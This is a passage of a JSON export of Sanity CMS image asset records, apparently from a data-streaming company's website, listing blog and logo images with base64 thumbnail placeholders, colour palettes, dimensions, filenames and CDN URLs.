HXbYMTtyffzi2u5YqV7bIXAMax/hPHVBdxLpolhVRKJUliXB2cvDIwfr5v5NZIduFbvuL5EUPiPKYYABAQABhjDABrZtqPSEqp4csDExf7x073Wh1m5kNu3WeMcyIiRNQIgzAIfT8Io4gxQNQkEQkhlFLGhf7Js0/GTzy22s3s++WNMCaVKCklIgIwZMCCkIUR1hryZjXgU33jJ3tHj/WYN4Zn53MbEfFqtZokCXGuGwESoCDSQaWOqpS2bmQ+3mMdffTqSOrFtaH0m695L2LaWEoiroMyaOxKA0mjmi/j8EPzUMo8+GC4bWgms7hWcbwwDAGRYoqZvgcXggspaoBSqj6ARqtV40DK2p8a2ZeyLj3PzizlK64fRREgck6Ck6xla3ZMhBAIgEHAGVNSGq3dVmu3tbfbOvcsm15ad0Kml8058BhiIE51uB6ViCLH8X4Uwq1NEYVGS5fZ0mXu6TLPPM1ML637DJVUQknGMYAIEeuLlVLy2g3Btr2V5WB1RXjuX7HtWo9VLUYeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#336a73","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#085c7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6499a8","foreground":"#fff","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b4bc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8e1ed","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6499a8","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5b5b","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5dd8ab99768ef60a566936cee0099263f3dc60db-640x371.png","path":"images/sczeoy4w/production/5dd8ab99768ef60a566936cee0099263f3dc60db-640x371.png","sha1hash":"5dd8ab99768ef60a566936cee0099263f3dc60db","size":22611,"uploadId":"OtMAf5COtW6A2mpTLk5NwBGJOvNTVoh7","url":"https://cdn.sanity.io/images/sczeoy4w/production/5dd8ab99768ef60a566936cee0099263f3dc60db-640x371.png"} {"_createdAt":"2022-06-30T20:10:25Z","_id":"image-5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500-png","_rev":"QRl2cGoCgj0FlAhkRriMhg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:30Z","assetId":"5e10496a7208d3e640c03d0f5759256bec347b76","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDPsn$jF9btR9Gz:jsb^jZXT00bGtQWAxuuPWVnNbIwb00WBwHWBw]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEhElEQVQ4jY2U32sVRxTHlypUrUlpwYRowBb6ZJ98krYvhVJL/wGfbJ/Ulki1RSMKTWKTtqD2pU8t6IsQDRS1qAUFiY1pi1GTm+uNSa7GJDd7f+3u/bG7d+/M7JyZM6fsTVpsqdCHD+fw/Z75wmGGsY4fP2kR0X/y1q7dLxw4cLSt5+CJLT0HT3Qc+KS3/YPde9Y9b37//sOWNTJyed38fPYl2853lEqlrnKp3OU6TlelUumy7cLWVOrha+Pjd99ImJxMv57LrWxLvBbeKp7ndeRydtv16zfXW+Pjf2xwHOedSrV6pFarDfm+P8gYHwSAFpyLoTCMvg7DxhDjfEi2dPW3D6CGAOA4Y/z9ubnsy1ZqcqrND4KDoV9LN4pPKs3lKVfW8h7ywDPVRVc5WVf4ritqRVeVZ12sr7gmbngmyHvGzbqmWamgVlkA1WfbdpeVmbzXLmI4BlGtpDJXSN/sI5y9SqY8QzTxI5mxM4S5CcKnY2RGvyEzeZ7InSPK/EQ0OkS0MEpGsrrSeLqYt7utmcmJdlDYa7ifp+mLRFc+RZo8b0z+gTG3vzXml6OGFkYNPb5p6Nrnxtz5zpjClDH3zxnzcw+amUtkRFhRGk8V7ZVtVurBg82xhI+05DewmE5j5tIUrtxLoW+ncOF2Ch9dndZuNp2Q9LgwuurZ91OYuTyFhek0xuy2BPVZbnm5wxq/8/uGyPd3iSg6xBt+Pw8qfXEz6JeC9ydVhNWveBQO8mZjUIS1k3Hk90vB+iWP+mVU75OsMSBjcYQx9u5MZrbNuj9xbyMvrHwY2Svfe4XChWq1NsyFGAZQCRekhIuxlCNxLEeSXiYawDAoNay0TriolPohjuM9CwuLr1gz6YdtsuIcFm4567tOVK/XQ855AwAaSqkWSS8ltKpWqkWia61DRIwQMZc8oUKhuNXKZB61A2fHVCxKzSYjP4goihjFsSQpgSImKIwYNRknIWKSoEiAIh5LAlCEiAl1pdSZYrHUbaUfPmpXCnpB6bwTcFp0QqyFzACAYUKaFTcwuXLdNJrMSClNIMDYDWm8pjQSFK4FVpRSp4rF0jYrlZ5pVwC9QqpC1gno7lIFnYCZZJBzQblCnnL5PDHOSWtNLgNKVQUtBYKEhNYcIlbXArtbgVpBrwBVmHMD+m3Zw3KDG0RDEDNi3gKxylNSklOiVbiiTC2mXLgWqPU/A1srw+rKhaBJWTfQdSZQI6JWElHU0QgfjU7WM8hBY00obEiNSut/r9y9eikAx7TGUlMA1ZsxCalIa2ytqJR6Bk1Ka9KtELMG/nUpp1cDZ2bbpJQ9iDitNHqgtKO1dhHRBVAu58JljLdI+kRLvDUcRPQQcR4AvrTtQpd169avG8MwfDuO4y8A4CQADCRICQNCiIFGIxoIgrBF0iealLLlJzU5I6XsZYy9Nzs7327t3fvxi2fPnnt1bOzO1sePn3SVyk6n43qdrut1Oo7bWSqVO4ulcqsmJFriPYvjuFuWlnKbr127sd7auXPnph073mzbvn37Jsuynvu9/x/27Ttk/Qnm3yy5flYlXAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#27384e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04448c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87207","foreground":"#fff","population":1.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c8d8","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd06e","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#568e9e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87207","foreground":"#fff","population":1.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png","path":"images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png","sha1hash":"5e10496a7208d3e640c03d0f5759256bec347b76","size":256386,"uploadId":"WYazOYoTWpfBIcnJuRff3XUk3fKXMKPJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png"} {"_createdAt":"2022-12-14T09:22:27Z","_id":"image-5e10e9fb44436d23b4fc50352d5083b6e56b6240-1567x844-jpg","_rev":"JKdP0gIV0ar9vXHllMUAPl","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T09:22:59Z","altText":"Evaluating event streaming platforms, the software architect way","assetId":"5e10e9fb44436d23b4fc50352d5083b6e56b6240","description":"Join David Esposito, Recovering Over-Engineer-er, in exploring streaming solutions – and how The Way of the Software Architect is key to tackling them.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHA//EACYQAAIBAwMCBwEAAAAAAAAAAAECAwAEBQYRIQcSFCIxMjVBYZH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EACARAAEDBAIDAAAAAAAAAAAAAAEAAgQDERIhBTGRodH/2gAMAwEAAhEDEQA/AL7PYFO+V76ZEG5PPAFJWpuo+N0zYGYXXihE4WRX9e37Ipyznw91yf7Uly2Hx8+AvHmtInZiSSw3qbO5AxajW20SB5v8S48ZtRhJ736sqDoXJ32osAmVe9QR3MjPCqL7Y9/KD+0Vh00giTSNoiIFVSQAOABRVLMouIX/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4247","foreground":"#fff","population":1.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803d03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87809","foreground":"#fff","population":3.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccba9e","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7094","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87809","foreground":"#fff","population":3.37,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Evaluating-solutions-blog.jpg","path":"images/sczeoy4w/production/5e10e9fb44436d23b4fc50352d5083b6e56b6240-1567x844.jpg","sha1hash":"5e10e9fb44436d23b4fc50352d5083b6e56b6240","size":433914,"title":"Evaluating event streaming platforms, the software architect way","uploadId":"ksvxn8CXrEvSHmPhC01LlLfxgxz9BcHa","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e10e9fb44436d23b4fc50352d5083b6e56b6240-1567x844.jpg"} {"_createdAt":"2024-03-05T16:01:54Z","_id":"image-5eccbe30b86398b458eb168b91394517bb0859e8-3840x2160-jpg","_rev":"wlmKp1TUxaN4Rr151IdEXV","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:01:54Z","assetId":"5eccbe30b86398b458eb168b91394517bb0859e8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPAdH3?do$W[RkxrxuofRiRiM_M^RhtRoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQHBQb/xAAjEAACAgICAAcBAAAAAAAAAAABAgMEAAURIQYHEhMUIzJC/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwIE/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECEQMSIUH/2gAMAwEAAhEDEQA/AMLY0/LurSibZa1I7MnIKoSOMlL7etXr2aVKu4iMre2eP5J67zrdrQrWmT5EQf0xMw5J6ON3NXSTwcsq10Egg/Wb3jUsj15QXdE5ekqlrSI5+te+/wBjDG9bXieBi6AkORhgVZSR/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273047","foreground":"#fff","population":8.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b3377","foreground":"#fff","population":1.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8cc","foreground":"#000","population":10.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8cc","foreground":"#000","population":10.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bbc9ef","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e69a6","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f90b2","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"5th.jpg","path":"images/sczeoy4w/production/5eccbe30b86398b458eb168b91394517bb0859e8-3840x2160.jpg","sha1hash":"5eccbe30b86398b458eb168b91394517bb0859e8","size":2013736,"uploadId":"8XBWjXvu3VvhVoeD9zEiydUwUuYQ3qY5","url":"https://cdn.sanity.io/images/sczeoy4w/production/5eccbe30b86398b458eb168b91394517bb0859e8-3840x2160.jpg"} {"_createdAt":"2022-08-11T13:09:11Z","_id":"image-5ed45581f52e535a5b18054eabd549ecfc6a55b7-1200x630-jpg","_rev":"i2ToKX5yy8xCsM6ytblw0L","_type":"sanity.imageAsset","_updatedAt":"2022-08-11T13:09:11Z","assetId":"5ed45581f52e535a5b18054eabd549ecfc6a55b7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNP%06?aXVD%~VGIIps+oybd^%IVVr%MIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwQH/8QAIhAAAgICAQUAAwAAAAAAAAAAAQMCBAARBQYSEyExFFGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAdEQABBAIDAAAAAAAAAAAAAAABAAIDEgQxESEi/9oADAMBAAIRAxEAPwDuz6fJysNku1ELMtxBl8xc696kt8DUoKtO/HlacF+dMe7WOaxqzM+/7lXK0at+t47iFuhE9wExvR/eRdMeQrthHajxfIKs0VMSwzjrXcR9OGaKyVoTFaoRhAD0AMMD8gWNdJsh8i21/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4358","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1246b2","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4971c","foreground":"#000","population":1.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bcc2","foreground":"#000","population":1.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64adf8","foreground":"#000","population":0.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897a5c","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4971c","foreground":"#000","population":1.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_for_Observability_meta_preview.jpeg","path":"images/sczeoy4w/production/5ed45581f52e535a5b18054eabd549ecfc6a55b7-1200x630.jpg","sha1hash":"5ed45581f52e535a5b18054eabd549ecfc6a55b7","size":193128,"uploadId":"R0zFlS1j6smYiwjQEISDYMatc2MQ1u3H","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ed45581f52e535a5b18054eabd549ecfc6a55b7-1200x630.jpg"} {"_createdAt":"2022-08-25T11:45:26Z","_id":"image-5edddc8b4595db25def6a662a8f8d2b3b3d249f6-138x24-svg","_rev":"ctsDnhiXC4vQz03H4tHCB6","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T11:46:34Z","altText":"Google Cloud Platform logo white","assetId":"5edddc8b4595db25def6a662a8f8d2b3b3d249f6","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"45R:HG?bIU~q_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.75,"height":24,"width":138},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgElEQVQImU3OTQtBYRCG4fNf2EosEJHIt0REcSyUHQtZ+Plz6a13cRbTTNPzcRe4YxERIwwxqOw5bjihgwa6EdHHOGvSr44eygJnHHDBNU+JR0S88MMHG7TQzuZ1ROyxxRJHPFNgapphmkixyqJE9o2Idy5NITU0853okndS8e7+WyjETowf8bcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"google-cloud-logo-white.svg","path":"images/sczeoy4w/production/5edddc8b4595db25def6a662a8f8d2b3b3d249f6-138x24.svg","sha1hash":"5edddc8b4595db25def6a662a8f8d2b3b3d249f6","size":2884,"title":null,"uploadId":"8RCxUE2SpRtIMCO55D4jsDPro9w6oxyQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/5edddc8b4595db25def6a662a8f8d2b3b3d249f6-138x24.svg"} {"_createdAt":"2023-11-07T09:49:00Z","_id":"image-5eeed46c9422a62d94be6814da74657b9e84779c-1280x855-jpg","_rev":"URGvS4Je6KJVSLklvAfMUp","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T09:49:00Z","assetId":"5eeed46c9422a62d94be6814da74657b9e84779c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VE8=vkWB00t7~WoeayWBj[oe00oL~qR*4.S4fQs:azWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4970760233918128,"height":855,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHAwb/xAAfEAACAgICAwEAAAAAAAAAAAABAgMRAAQFBhIhYYH/xAAVAQEBAAAAAAAAAAAAAAAAAAACBv/EABgRAAMBAQAAAAAAAAAAAAAAAAABEQIh/9oADAMBAAIRAxEAPwCX8VpJPOiyV7+53/eOgR9d4vS2TPDMZ1ukFeJq/wBGTfU25IXBWjjHc53b2o1SVmYIKUM5ND5lBrOm+Esmo6hXMlP6UVhmbuzsWJ9nDHAU/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445c74","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04446c","foreground":"#fff","population":44.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04446c","foreground":"#fff","population":44.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b1ad","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78c0e1","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#528ba3","foreground":"#fff","population":3.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1175bd","foreground":"#fff","population":0.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"what-is-ccaas-blog-1280-new.jpeg","path":"images/sczeoy4w/production/5eeed46c9422a62d94be6814da74657b9e84779c-1280x855.jpg","sha1hash":"5eeed46c9422a62d94be6814da74657b9e84779c","size":138077,"uploadId":"9ZVnsiRhgv2FeHXMFp0W5RzwoEHpu8yl","url":"https://cdn.sanity.io/images/sczeoy4w/production/5eeed46c9422a62d94be6814da74657b9e84779c-1280x855.jpg"} {"_createdAt":"2022-06-15T20:02:18Z","_id":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdCvB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:00Z","assetId":"5f01eb55975cd66bf1ea61df97d0856ccee17509","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXO{]s_4.T4.#QTfe.V[R*%L-oRkD%$%oz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADQklEQVQokSXMT0/bZhzAcR9333EvYZcddtguewO7rdO2UkG1ZQy2opJBKQ0FxNikAi2sagNZyViQ2B/SGJAKEyFEoFLUzEDIQprEOI6dxI6D/Ty288ep2Ep+v6na4avP7ctIhUqfICoBXiiuZHg5xAtFNpdXWbVssgZ1WGI2WWIQ1ipxbFXcYAunh2wwtLZ5vdf9bODm4FY4vL1aluUNU9NClNjjTPa0sJBI8kI8kbGO4i/I4VGKJpI8lQpnVCcNSnWdWmKENg4GaXX/Gs1wK/S3tR2r7/Zk7VrvgB1Y/JVmecnWdbtAiL3KFBXjcV7WTFEq4+sEUcW8pKGqWUgMC0luH+XoMPLLH2Im+DHuPvFhYGUPv59bx5s/+HFmbgn3uReoqGbNNGiUMaizbFDHMKiDBnVaBm2AQRpgUAeoKkJpzwtbP7lgYcIFC9NumJ+9C48CyzC7FIYx3xYM/rjR+v3PBOZEzbLPKhGGmM0gMZuEmA4S04H/bSClNaQ5DpOrYzh/pwdHhm6hx+PBkZFhnJ6+hw99fhx/yGLf/Sj415J4yhfsWqUUYQhtBAltEELrrydASRVNaqNlEFRTe/h0cRT9tztw4tsOvNHzFXZ1daPb7YahoSGcuOeFxWAE9p8nUcsLVlMTIwyl1aBJbWIRCy1itmxCwDZ0MNQS8LFtiHl7INb/Lqz1vA8e1yVo/+wTuHqlDb7u7oK5BzNwEtsFU0phU0nX/imno4xtGEFb1w1bP8OqXmnVdQ1qlRJUJB7E2Cao/m/AuPUO7PR+AOOuS9Df9hHc+LIDRj0DsL4cAMr/9e+r8onzSk1KF+rfK0y9KD62ZIGSgoCWmkenIqOjiWiXsmgLHDajj1CbcWG0vw1/7ryM3q52nP/Og6GAD5NP1y+a0kEZyonNlnI8CWrcxTinCa+ZPjrWssdFKqelpibILzWhUFd4xVEyqpN5VsqHfDI3fL2w8/llle3u1Nen71SeP/lDlg63uXOZW8By/IuWcvg2qEdvMi/l1JV6PjlqSydT9VJ68lzLTjYU/q6aEx5U8sJsVT65r3HhqaJ3YqpwtWM2/Wn7Ej829oscDk2dpXY7z6XYe1iOv3VROngDFY75D3UutG9XEyyRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433432","foreground":"#fff","population":0.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c54","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f39d1c","foreground":"#000","population":4.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5bdcb","foreground":"#000","population":2.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ccff8","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#877966","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39d1c","foreground":"#000","population":4.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844.png","path":"images/sczeoy4w/production/5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844.png","sha1hash":"5f01eb55975cd66bf1ea61df97d0856ccee17509","size":640686,"uploadId":"T0dHRXSQwVjjqT3KABhbIJC9WybVcvSh","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844.png"} {"_createdAt":"2024-02-06T01:19:28Z","_id":"image-5f20e9c31345e4674352e68a46da0a016477722a-1200x628-png","_rev":"H1slUvtNVEvBnmPPMTSHmT","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T01:19:28Z","assetId":"5f20e9c31345e4674352e68a46da0a016477722a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6TD{3qTKhxtRR}FtPnNn6nP#8z=wcxXtP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACR0lEQVQokUWSTVNTBxhGL9gQdIqDghEQlARCBPloRcDxY9x3q1ZkkEEwIoamUWSkUoZSA9yBaBTr6K9y5T9wRpfd6Uibc5xwFy6ezbs488x5n4DrMZluluwJmW6UyTq5Vb3VyWxcsnGdi8t8XHJx+b1elo/IRkpKZ2TntGyn5Xm/7J414Ea9zJ2SB/3yoFcKaXmYlsVueZyRPzK6kpHVXlnrlad9Eg7IzoCU+mSrUzbaJUzKdrcB44ck162PR3TlvPw5JqujsnpO1oblr2EtjsrmmIRj8uySvLwsz36SsEvWj8t6Qoqt8nezQeV6zP+nmvzvbofMn5Rchyx0SL5d8q1SaNHFNllqk+V2WU1KMSNbPbLVJZudEqYk7JSnLQZ712J+mmjxw3TSzzPHdbZRskdkrprDkcPsDzIXk/uxyOGTZtlIRg7LQ/LyZyn3y3aXwZfxBt/fG/Xdo1/8tzCkv3VKISUPU1Jol4WjkmuQ/GHJ/yiFQ7JyTMJ0BCsPyouhKDs9Bl9vHPTj/KAflq74eSEtdxNyLyH3E5JrklyjLCZkpUOetMpyk6ydkJ2+qFnp9D5ov2G5P3K4N9Pm3nzSyp2ETB2UyQMyVSvTtZKNyVJVelqK3bJ+UoopeT4ou8NSysh2TwR/PWZQ+bXOyu2EleoO7xyLgBM1MhnIVCCztfKoScI+KQ3IZlrCHnlxVv4ZifZXHtiH8eaiQeVqjVUo43G5WSc3a2Ui+A68XSP5hqhhFVhtV/3w7jl5fV5eDcurEXlzQd5e9BvDrgDfLA80hQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2a24","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9437","foreground":"#000","population":12.47,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a67557","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Set up your data streaming infrastructure in 30 